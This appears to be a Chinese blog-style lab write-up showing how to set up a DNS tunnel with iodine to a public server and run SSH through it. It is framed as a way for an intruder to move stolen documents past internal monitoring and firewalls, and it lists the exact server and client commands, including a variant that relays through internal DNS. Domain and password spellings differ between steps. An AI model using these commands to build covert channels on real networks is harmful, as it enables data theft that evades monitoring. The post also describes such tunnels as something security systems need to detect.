DNS隧道技术iodine简介

DNS隧道技术iodine简介

黑客成功入侵一台内网服务器之后,获取了企业密级文档,为了躲避内网日志监控系统,为了穿透内网的防火墙策略,选择一种秘密传输的加密隧道。

以下是我的实验:通过9步操作,成功的通过dns加密隧道建立了ssh加密连接。检测dns隧道是当前态势感知系统必不可少的功能模块。

第一步:添加一条NS记录

我这里的设置是dns.hackbiji.top指向dnsns.hackbiji.top,想要解析dns.hackbiji.top这个子域名,就需要去访问dnsns.hackbiji.top这个域名服务器

第二步:添加一条A记录

将域名服务器解析到咱们的控制的公网服务器IP地址,我的域名服务器是dnsns.hackbiji.top,对应的公网IP地址是96.45.188.252

第三步:通过iodine建立DNS隧道

  • -f 前台显示
  • -P 设置通信密码(我的密码是hackbijipasswd)
  • 10.0.0.1 (我设置的服务器私有网址,也可以设置为其他地址)
  • dnsns.hackbiji.top (我的域名,也可以设置为dns.hackbiji.top
iodined -fP hackbijipasswd 10.0.0.1 dnsns.hackbji.top
或
iodined -fP hackbijipasswd 10.0.0.1 dns.hackbji.top

第四步:查看服务器IP地址

  • 多了一个dns0接口,IP地址是咱们设置的10.0.0.1

第五步:本地客户端连接服务器

  • -fP hackbijipasswd 前台显示,并设置密码(hackbijipasswd)
  • 96.45.188.252 我的服务器IP地址
  • dnsns.hackbiji.top 我的域名(必须和服务器设置的域名保持一致)
iodine -fP hackbjipasswd 96.45.188.252 dnsns.hackbiji.top
或
iodine -fP hackbjipasswd 96.45.188.252 dns.hackbiji.top

第六步:查看本地客户端IP地址

  • 多了一个dns0接口,并且IP地址是自动生成和服务器一个网段的10.0.0.2

第七步:从本地Ping通服务器10.0.0.1

  • 这时我们的DNS隧道建立成功了

第八步:查看本地路由

  • 访问10.0.0.0网段的流量都会走dns0隧道接口

第九步:从本地dns0隧道登陆远程服务器

  • ssh穿越dns0隧道,成功登陆远程服务器

最后,DNS隧道抓包:

root@ubuntu:~# cat /etc/resolv.conf 
# Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8)
#     DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN
nameserver 1.0.0.1
nameserver 8.8.8.8
nameserver 1.1.1.1

服务端dns0接口数据:

服务端eth0接口数据:

DNS请求和应答,都是通过eth0接口收发包的。

DNS隧道iodinehttps://www.zhihu.com/video/1142215126156566528

如果发生在内网,你无法访问外网IP(96.45.188.252)的时候,可以去掉IP地址,直接通过内网的DNS服务器帮你请求,依然能达到建立隧道的效果。

iodine -fP hackbjipasswd dnsns.hackbiji.top

编辑于 2019-12-24 22:12